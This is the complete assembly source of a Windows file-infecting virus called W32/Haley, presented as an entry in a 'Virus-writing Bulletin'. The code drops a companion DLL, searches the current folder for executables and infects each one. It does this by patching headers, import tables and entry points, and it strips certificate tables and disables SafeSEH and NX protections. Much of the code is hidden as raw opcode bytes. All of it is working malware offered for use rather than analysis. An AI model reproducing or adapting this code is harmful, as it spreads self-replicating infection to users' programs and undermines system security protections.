Virus-writing Bulletin

Presents!

W32/Haley

-
. ● glósóli ● .

.486
.model  flat, stdcall

IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE =  40h
CERTIFICATE_TABLE_DATA_DIRECTORY       =  98h
LOAD_CONFIG_TABLE_DATA_DIRECTORY       =  30h
IMAGE_DIRECTORY_ENTRY_EXPORT           =  78h
IMPORT_TABLE_DATA_DIRECTORY            =  80h

F0      =  FILE_SHARE_READ or FILE_SHARE_WRITE  
G0      =  GENERIC_READ or GENERIC_WRITE
DLLSIZE =  offset _end - offset dos_hdr
CALL_OP =  0e8h

.data?
STACK_REG struct
 LO32_EDI dd  ?
 LO32_ESI dd  ?
 LO32_EBP dd  ?
 LO32_ESP dd  ?
 LO32_EBX dd  ?
 LO32_EDX dd  ?
 LO32_ECX dd  ?
 LO32_EAX dd  ?
STACK_REG ends

.code
assume fs:nothing

haley_dll       proc 
        dec     dword ptr [esp + 8]          ;do not execute if DLL_PROCESS_DETACH
        js      DETACH
        pushad
        db      33h
        db      0dbh
        call    create_dll
        db      58h
        db      58h
        db      5ch
        db      33h, 0c0h
        db      64h
        db      8fh
        db      0
        db      58h
        popad

DETACH:
        ret     0ch

echo 28/12/10 - haley by hh86                ;it's everything that is connected and beautiful
                                             ;and now I know just where I stand
haley_dll       endp

importtbl       IMAGE_IMPORT_DESCRIPTOR 
                dd  0
dllfile         db  "v", ".dll", 0, 0, 0
                dq  0
                dd  80000001h
                dd  0

call_dllmain    proc
        mov     eax, 80000001h
        call    eax
call_dllmain    endp

call_hostmain   proc
        push    30h
        pop     esi
        lods    dword ptr fs:[eax]
        mov     eax, dword ptr [eax + 8]
        jmp     dword ptr [eax + offset dos_hdr]
call_hostmain   endp

;-------------------------------------------------------------------------------
;image for a PE32 DLL file 
;-------------------------------------------------------------------------------

dos_hdr         label    near
        db      "MZ"                          ;e_magic
        dw      "CV"                          ;e_cblp
        db      "!", 0                        ;e_cp
        dw      0                             ;e_crlc
        dw      0                             ;e_cparhdr
        dw      0                             ;e_minalloc
        db      "PE", 0, 0                    ;signature
        dw      IMAGE_FILE_MACHINE_I386       ;machine
        dw      1                             ;numberofsections
        dd      0                             ;timedatestamp
        dd      0                             ;pointertosymboltable
        dd      0                             ;numberofsymbols
        dw      68h                           ;sizeofoptionalheader
        dw      IMAGE_FILE_RELOCS_STRIPPED or IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
        dw      IMAGE_NT_OPTIONAL_HDR32_MAGIC ;magic
        db      0                             ;majorlinkerversion
        db      0                             ;minorlinkerversion
        dd      0                             ;sizeofcode
        dd      0                             ;sizeofinitializeddata
        dd      0                             ;sizeofuninitializeddata
        dd      0                             ;addressofentrypoint
        dd      0                             ;baseofcode
        dd      0ch                           ;baseofdata and e_lfanew
        dd      0                             ;imagebase
        dd      1                             ;sectionalignment
        dd      1                             ;filealignment
        dw      0                             ;majoroperatingsystemversion
        dw      0                             ;minoroperatingsystemversion
        dw      0                             ;majorimageversion
        dw      0                             ;minorimageversion
        dw      4                             ;majorsubsystemversion
        dw      0                             ;minorsubsystemversion
        dd      0                             ;win32versionvalue
        dd      offset _end - offset dos_hdr  ;sizeofimage
        dd      offset _sect - offset dos_hdr ;sizeofheaders
        dd      0                             ;checksum
        dw      IMAGE_SUBSYSTEM_WINDOWS_CUI   ;subsystem
        dw      IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE
        dd      0                             ;sizeofstackreserve
        dd      1000h                         ;sizeofstackcommit
        dd      100000h                       ;sizeofheapreserve
        dd      0                             ;sizeofheapcommit
        dd      0                             ;loaderflags
        dd      2                             ;numberofrvaandsizes
        dd      offset _sect - offset dos_hdr ;export
        dd      0                             ;export
        db      8 dup (0)                     ;name
        dd      offset _end - offset _sect    ;virtualsize
        dd      offset _sect - offset dos_hdr ;virtualaddress
        dd      offset _end - offset _sect    ;sizeofrawdata
        dd      offset _sect - offset dos_hdr ;pointertorawdata
        dd      0                             ;pointertorelocations
        dd      0                             ;pointertolinenumbers
        dw      0                             ;numberofrelocations
        dw      0                             ;numberoflinenumbers
        dd      0                             ;characteristics

_sect           label    near
exporttbl       IMAGE_EXPORT_DIRECTORY <0, offset require - offset dos_hdr, 0, 0, 0, 1, -1, 0, (offset exporttbl + 4) - offset dos_hdr, 0, 0>

require         proc
        db      60h
        db      6ah
        db      30h                          ;process environment block
        db      5eh
        db      33h
        db      0d2h
        db      0e8h                         ;skip SE handler
        dd      0bh
        db      58h
        db      58h
        db      5ch
        db      33h, 0c0h
        db      64h
        db      8fh
        db      0
        db      58h
        db      61h
        ret
        db      64h
        db      0ffh
        db      32h
        db      64h
        db      89h
        db      22h
        db      64h
        db      0adh
        db      8bh
        db      40h
        db      0ch
        db      8bh
        db      70h
        db      14h
        db      0adh
        db      8bh
        db      0
        db      8bh
        db      68h
        db      10h
        call    skip_crc 
        dd      03fc1bd8dh
        dd      0da68238fh

;-------------------------------------------------------------------------------
;DLL name
;-------------------------------------------------------------------------------

        db      30h, 0

skip_crc:
        db      5eh
 
;-------------------------------------------------------------------------------
;walk lists
;-------------------------------------------------------------------------------

crc32   macro
        db      32h
        db      7
        db      6ah
        db      8
        db      59h
        db      0d1h
        db      0e8h
        db      73h
        db      5
        db      35h
        dd      0edb88320h
        db      0e2h
        db      0f5h
        db      47h
        db      38h
        db      0fh
        db      75h
        db      0ebh
endm

import_next:
        db      8bh
        db      45h
        db      IMAGE_DOS_HEADER.e_lfanew
        db      8bh
        db      5ch
        db      28h
        db      IMAGE_DIRECTORY_ENTRY_EXPORT
        db      3
        db      0ddh

export_next:
        db      8bh
        db      7bh
        db      IMAGE_EXPORT_DIRECTORY.AddressOfNames
        db      3
        db      0fdh
        db      8bh
        db      3ch
        db      97h
        db      0f9h
        db      1bh
        db      0c0h
        db      3
        db      0fdh
        crc32
        db      0f7h
        db      0d0h
        db      39h
        db      6
        je      l_res
        db      42h
        db      39h
        db      53h
        db      IMAGE_EXPORT_DIRECTORY.TimeDateStamp + IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint - IMAGE_EXPORT_DIRECTORY.TimeDateStamp shl 2 - sizeof IMAGE_EXPORT_DIRECTORY.NumberOfNames
        jne     export_next
        int     3

;-------------------------------------------------------------------------------
;resolve API address
;-------------------------------------------------------------------------------

l_res:
        db      8bh
        db      7bh
        db      IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
        db      3
        db      0fdh
        db      0fh
        db      0b7h
        db      3ch
        db      57h
        db      8bh
        db      43h
        db      IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
        db      3
        db      0c5h
        db      8bh
        db      4
        db      0b8h
        db      3
        db      0c5h
        db      50h
        db      0adh
        db      33h
        db      0d2h
        db      80h
        db      3eh
        db      30h
        jne     import_next
        db      8bh
        db      0dch
        db      56h
        db      0ffh, 53h, 4                 ;call LoadLibraryA
        db      50h
        db      0ffh, 13h                    ;call FreeLibrary
        int     3
require         endp
_end            label    near

;-------------------------------------------------------------------------------
;create DLL file
;-------------------------------------------------------------------------------

create_dll      proc
        db      64h
        db      0ffh
        db      33h
        db      64h, 89h, 23h                ;SEH protected
        push    ebx
        push    ebx
        push    CREATE_NEW
        push    ebx
        push    F0
        push    G0
        push    offset dllfile
        call    CreateFile 
        inc     eax
        jz      find_fs      
        dec     eax
        push    eax
        xchg    ebp, eax
        push    ebx
        push    esp
        push    DLLSIZE
        push    offset dos_hdr
        push    ebp
        call    WriteFile 
        call    CloseHandle
        jmp     find_fs
create_dll      endp

find_fs         proc
        enter   (sizeof WIN32_FIND_DATA + sizeof LOADED_IMAGE) + (sizeof IMAGE_DOS_HEADER.e_lfanew + 1), 0
        mov     edi, esp
        lea     esi, dword ptr [edi + LOADED_IMAGE]
        push    esi

;-------------------------------------------------------------------------------
;find exe files in current directory
;-------------------------------------------------------------------------------

        db      0e8h
        dd      6
        db      "*"
        db      "."
        db      "e"
        db      "x"
        db      "e"
        db      0
        call    FindFirstFile
        db      95h
        jmp     call_mf

find_next:
        db      56h
        db      55h
        call    FindNextFile 
        test    eax, eax
        jz      call_seh

call_mf:
        pushad
        db      CALL_OP, low offset map_file - offset delta_seh, 0, 0, 0

delta_seh:
        db      58h
        db      58h
        db      5ch
        db      33h, 0c0h
        db      64h
        db      8fh
        db      0
        db      58h
        popad
        jmp     find_next
find_fs         endp

;-------------------------------------------------------------------------------
;create map
;-------------------------------------------------------------------------------

map_file        proc
        db      64h
        db      0ffh
        db      33h
        db      64h, 89h, 23h                ;SEH protected
        db      8dh
        db      4eh
        db      WIN32_FIND_DATA.cFileName
        db      57h
        db      53h
        db      53h
        db      57h
        db      53h
        db      51h
        call    MapAndLoad
        db      48h
        js      call_seh                     ;no unmap happens if zero
        db      CALL_OP, low offset infect_exe - offset delta_os, 0, 0, 0

delta_os:
        db      58h
        db      58h
        db      5ch
        db      33h, 0c0h
        db      64h
        db      8fh
        db      0
        db      58h
        call    UnMapAndLoad 
map_file        endp

call_seh        label    near
        int     3
        
        ;so darkness I became

infect_exe      proc
        db      64h
        db      0ffh
        db      33h
        db      64h, 89h, 23h

;-------------------------------------------------------------------------------
;32-bit machine
;GUI or CUI
;-------------------------------------------------------------------------------

        db      8bh
        db      6fh
        db      LOADED_IMAGE.MappedAddress
        db      8bh
        db      47h
        db      LOADED_IMAGE.FileHeader
        db      0f6h
        db      40h
        db      IMAGE_NT_HEADERS.FileHeader.Characteristics + 1
        db      high IMAGE_FILE_32BIT_MACHINE
        jz      call_seh
        db      8ah
        db      48h
        db      IMAGE_NT_HEADERS.OptionalHeader.Subsystem
        db      49h
        db      49h
        db      80h
        db      0f9h
        db      IMAGE_SUBSYSTEM_WINDOWS_CUI - IMAGE_SUBSYSTEM_WINDOWS_GUI
        jnbe    call_seh
        db      80h
        db      60h
        db      IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics + 1
        db      0f0h                         ;NO_SEH and NX_COMPATIBLE flags

;-------------------------------------------------------------------------------
;PE size must be equal to file size
;certificate table must be at end of last section
;-------------------------------------------------------------------------------

        db      8bh
        db      57h
        db      LOADED_IMAGE.Sections
        db      8bh                          ;DWORD not WORD ;)
        db      4fh
        db      LOADED_IMAGE.NumberOfSections
        db      6bh
        db      0c9h
        db      sizeof IMAGE_SECTION_HEADER
        db      8dh
        db      74h
        db      11h
        db      -(sizeof IMAGE_SECTION_HEADER - IMAGE_SECTION_HEADER.SizeOfRawData)
        db      6ah
        db      10h
        db      5fh
        db      8dh
        db      4ch
        db      0f8h
        db      CERTIFICATE_TABLE_DATA_DIRECTORY - IMPORT_TABLE_DATA_DIRECTORY
        db      8bh
        db      56h
        db      sizeof IMAGE_SECTION_HEADER.PointerToRawData
        db      3
        db      16h
                                             ;do not infect if imports
        cmp     dword ptr [eax + edi * 8], ebx
        jne     call_seh
        db      0b7h
        db      10h
        db      39h
        db      19h
        jb      call_seh
        db      39h
        db      11h
        jne     call_seh

;-------------------------------------------------------------------------------
;set to zero the certificate table data directory
;disable SafeSEH
;-------------------------------------------------------------------------------

        fldz
        fstp    qword ptr [ecx]
        fldz
        fstp    qword ptr [ecx + LOAD_CONFIG_TABLE_DATA_DIRECTORY]

;-------------------------------------------------------------------------------
;increase image and section size
;-------------------------------------------------------------------------------

        db      1
        db      5eh
        db      -(IMAGE_SECTION_HEADER.SizeOfRawData - IMAGE_SECTION_HEADER.Misc.VirtualSize)
        db      1
        db      58h
        db      IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage
        db      8bh
        db      4eh
        db      -(IMAGE_SECTION_HEADER.SizeOfRawData - IMAGE_SECTION_HEADER.VirtualAddress)
        db      3
        db      0eh
        db      1                            ;increase raw size
        db      1eh
        db      81h
        db      4eh
        db      IMAGE_SECTION_HEADER.Characteristics - IMAGE_SECTION_HEADER.SizeOfRawData
                                             ;Windows can write-enable section while binding imports
        dd      IMAGE_SCN_MEM_EXECUTE
        db      60h
        db      8dh
        db      3ch
        db      2ah
        db      0beh
        dd      offset importtbl
        db      60h
        db      6ah, offset dos_hdr - offset importtbl
        db      59h
        db      0f3h, 0a4h
        db      61h
        db      1
        db      0fh
        db      1
        db      04fh, IMAGE_IMPORT_DESCRIPTOR.Name1
        db      1
        db      04fh, IMAGE_IMPORT_DESCRIPTOR.FirstThunk
        db      81h
        db      0c1h
        dd      offset call_dllmain - offset importtbl
        db      87h
        db      48h
        db      IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint
        db      89h
        db      8fh
        dd      (offset call_hostmain - offset importtbl) + 0ah
        db      61h
        db      89h                          ;now add import table entry to data directory
        db      00ch
        db      0f8h
        int     3
infect_exe      endp
end     haley_dll
Virus-writing Bulletin 2011